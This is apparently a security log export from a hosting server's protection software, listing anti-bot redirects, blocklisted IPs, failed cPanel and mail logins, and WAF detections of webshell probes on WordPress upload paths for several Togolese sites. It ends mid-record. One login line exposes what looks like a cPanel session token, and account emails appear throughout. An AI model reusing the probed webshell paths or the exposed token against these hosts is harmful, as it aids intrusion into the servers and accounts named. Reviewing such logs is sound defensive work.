country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:17:04:21 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.95
country_id: 798544
description:
Jun 17 17:04:27 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.95 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:17:05:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13211493&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781715935 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 207.148.72.213
country_id: 1880251
domain: pub.soena.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.18||T:APACHE||MV:/wp-content/uploads/index.php||SC:/home/expirefreenetmas/public_html/wp-content||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.48
country_id: 6252001
description:
205.169.39.48 - - [17/Jun/2026:17:12:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12949394&pdata=https%253A%252F%252Ftdn.tg%252Fjune%252F%253Fworker%253DYWNjb3VudC5yZWNlaXZhYmxlLmNoQG5hdml0cmFucy5jb20%253D&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781716330 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/june/?worker=YWNjb3VudC5yZWNlaXZhYmxlLmNoQG5hdml0cmFucy5jb20=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.48


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [17/Jun/2026:17:11:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10130891&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781716300 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:17:11:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9674136&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781716303 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 203.57.50.250
country_id: 2077456
description:
203.57.50.250 - - [17/Jun/2026:17:11:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6724975&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781716305 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.57.50.250


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.213.136
country_id: 933860
description:
Jun 17 17:12:13 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.213.136 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.213.136
country_id: 933860
description:
Jun 17 17:12:27 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.213.136 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 216.128.153.246
country_id: 6252001
domain: owa.antasertogo.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.18||T:APACHE||MV:/wp-content/uploads/index.php||SC:/home/antasadmin/public_html/owa/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 216.128.153.246
country_id: 6252001
domain: snbtogo.snb.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.18||T:APACHE||MV:/wp-content/uploads/index.php||SC:/home/bighostingsnbd/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 207.148.72.213
country_id: 1880251
domain: myworkafrica.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.18||T:APACHE||MV:/wp-content/uploads/index.php||SC:/home/lhxhatyj/public_html/myworkafrica.com/wp-content/uploads/index.php||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 188.51.221.190
country_id: 102358
description:
188.51.221.190 - - [17/Jun/2026:17:17:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9869166&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcristiano-junior%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781716623 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/cristiano-junior/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.6352.1296 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:188.51.221.190


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 157.100.199.19
country_id: 3658394
description:
157.100.199.19 - - [17/Jun/2026:17:17:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9750216&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fquarantaine-obligatoire-a-laeroport-de-lome%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781716635 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/quarantaine-obligatoire-a-laeroport-de-lome/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.3103.1240 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:157.100.199.19


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-17 17:18:20 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:37160: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:17:19:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:17:19:06 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.34.32.69
country_id: 6252001
description:
2026-06-17 17:21:19 dovecot_plain authenticator failed for H=(B01110VDC1A000A) [70.34.32.69]:64374: 535 Incorrect authentication data (set_id=contact@ucao-uut.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:17:20:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6710983&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781716823 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.87.218.180
country_id: 2017370
description:
[2026-06-17 17:21:20 +0000] info [cpaneld] 45.87.218.180 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 105.157.224.164
country_id: 2542007
description:
[2026-06-17 17:21:20 +0000] info [cpaneld] 105.157.224.164 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.12.24.106
country_id: 3469034
description:
[2026-06-17 17:21:23 +0000] info [cpaneld] 177.12.24.106 - direct7 "GET /login/?login_only=1&user=direct7&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user direct7 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 138.99.33.11
country_id: 3469034
description:
[2026-06-17 17:21:24 +0000] info [cpaneld] 138.99.33.11 - direct7 "GET /login/?login_only=1&user=direct7&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user direct7 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.38.170.68
country_id: 285570
description:
[2026-06-17 17:21:26 +0000] info [cpaneld] 37.38.170.68 - direct7tg "GET /login/?login_only=1&user=direct7tg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user direct7tg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.60.76.152
country_id: 3895114
description:
[2026-06-17 17:21:30 +0000] info [cpaneld] 179.60.76.152 - direct7tg "GET /login/?login_only=1&user=direct7tg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user direct7tg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 89.138.69.84
country_id: 294640
description:
[2026-06-17 17:21:40 +0000] info [cpaneld] 89.138.69.84 - dire "GET /login/?login_only=1&user=dire&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dire (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 116.96.77.120
country_id: 1562822
description:
[2026-06-17 17:21:34 +0000] info [cpaneld] 116.96.77.120 - direct "GET /login/?login_only=1&user=direct&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user direct (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.18.212.236
country_id: 3469034
description:
[2026-06-17 17:21:37 +0000] info [cpaneld] 187.18.212.236 - dire "GET /login/?login_only=1&user=dire&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dire (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 79.116.170.244
country_id: 2510769
description:
[2026-06-17 17:21:44 +0000] info [cpaneld] 79.116.170.244 - di "GET /login/?login_only=1&user=di&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user di (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.58.132.90
country_id: 3686110
description:
[2026-06-17 17:21:47 +0000] info [cpaneld] 181.58.132.90 - di "GET /login/?login_only=1&user=di&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user di (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.96.76
country_id: 3469034
description:
Jun 17 17:22:19 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.96.76 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.96.76
country_id: 3469034
description:
Jun 17 17:22:27 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.96.76 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - sayeva@caissederetraites.tg [06/17/2026:17:23:42 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: sayeva@caissederetraites.tg


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.34.32.69
country_id: 6252001
description:
2026-06-17 17:24:15 dovecot_plain authenticator failed for H=(B01110VDC1A000A) [70.34.32.69]:63588: 535 Incorrect authentication data (set_id=contact@ucao-uut.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [17/Jun/2026:17:25:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6986950&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781717151 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 203.57.50.250
country_id: 2077456
description:
203.57.50.250 - - [17/Jun/2026:17:26:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9661595&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781717157 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.57.50.250


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:17:26:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10447466&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781717163 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 17 17:26:53 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.146.17.145
country_id: 1210997
description:
103.146.17.145 - - [17/Jun/2026:17:27:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6591899&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Finhumation%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781717235 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/inhumation/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.6453.1797 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.146.17.145


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.34.32.69
country_id: 6252001
description:
2026-06-17 17:26:49 dovecot_plain authenticator failed for H=(B01110VDC1A000A) [70.34.32.69]:59987: 535 Incorrect authentication data (set_id=contact@ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.34.32.69
country_id: 6252001
description:
2026-06-17 17:29:14 dovecot_plain authenticator failed for H=(B01110VDC1A000A) [70.34.32.69]:51295: 535 Incorrect authentication data (set_id=contact@ucao-uut.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 156.38.84.59
country_id: 2363686
description:
[2026-06-17 17:30:10 +0000] info [cpaneld] 156.38.84.59 NEW zephyradmin:GqBT2ZdhaNaPkOqV address=156.38.84.59,app=cpaneld,creator=zephyradmin,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.112.225
country_id: 1880251
description:
47.128.112.225 - - [17/Jun/2026:17:31:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10196329&pdata=https%253A%252F%252Fwww.snb.tg%252Fevent%252Fdjama-en-fete-amadahome-stout-porter&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781717461 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/event/djama-en-fete-amadahome-stout-porter" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.112.225


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.34.32.69
country_id: 6252001
description:
2026-06-17 17:31:32 dovecot_plain authenticator failed for H=(B01110VDC1A000A) [70.34.32.69]:49469: 535 Incorrect authentication data (set_id=contact@ucao-uut.tg)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:17:33:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:17:33:19 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.34.32.69
country_id: 6252001
description:
2026-06-17 17:33:41 dovecot_plain authenticator failed for H=(B01110VDC1A000A) [70.34.32.69]:57616: 535 Incorrect authentication data (set_id=contact@ucao-uut.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.112.225
country_id: 1880251
description:
47.128.112.225 - - [17/Jun/2026:17:35:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6775918&pdata=https%253A%252F%252Fwww.snb.tg%252Fevent%252Fdjama-en-fete-amadahome-stout-porter&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781717702 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/event/djama-en-fete-amadahome-stout-porter" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.112.225


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 17 17:35:22 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.34.32.69
country_id: 6252001
description:
2026-06-17 17:35:34 dovecot_plain authenticator failed for H=(B01110VDC1A000A) [70.34.32.69]:62205: 535 Incorrect authentication data (set_id=contact@ucao-uut.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 36.69.209.140
country_id: 1643084
description:
[2026-06-17 17:37:18 +0000] info [cpaneld] 36.69.209.140 - cloudetracks "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:17:36:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9987688&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781717807 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.34.32.69
country_id: 6252001
description:
2026-06-17 17:37:24 dovecot_plain authenticator failed for H=(B01110VDC1A000A) [70.34.32.69]:61606: 535 Incorrect authentication data (set_id=contact@ucao-uut.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 222.252.41.21
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/04/66e-anniversaire-de-lindependance-des-forces-armees-honorees-pour-leur-merite-768x711.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/04/66e-anniversaire-de-lindependance-des-forces-armees-honorees-pour-leur-merite-300x278.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/04/66e-anniversaire-de-lindependance-des-forces-armees-honorees-pour-leur-merite.webp 800w HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.34.32.69
country_id: 6252001
description:
2026-06-17 17:39:20 dovecot_plain authenticator failed for H=(B01110VDC1A000A) [70.34.32.69]:50035: 535 Incorrect authentication data (set_id=contact@ucao-uut.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 70.34.32.69
country_id: 6252001
description:
Jun 17 17:39:18 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 70.34.32.69 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.134.25.174
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2022/12/Page-4-B.jpg 1300w, http:/togodailynews.tg/wp-content/uploads/2022/12/Page-4-B-300x123.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2022/12/Page-4-B-768x316.jpg 768w, http:/togodailynews.tg/wp-content/uploads/2022/12/Page-4-B-1024x421.jpg 1024w HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 70.34.32.69
country_id: 6252001
description:
Jun 17 17:41:07 ns5 auth[2069636]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 70.34.32.69 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.34.32.69
country_id: 6252001
description:
2026-06-17 17:41:09 dovecot_plain authenticator failed for H=(B01110VDC1A000A) [70.34.32.69]:54782: 535 Incorrect authentication data (set_id=contact@ucao-uut.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:17:42:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9790147&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781718127 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 203.57.50.250
country_id: 2077456
description:
203.57.50.250 - - [17/Jun/2026:17:42:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6908568&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781718131 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.57.50.250


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
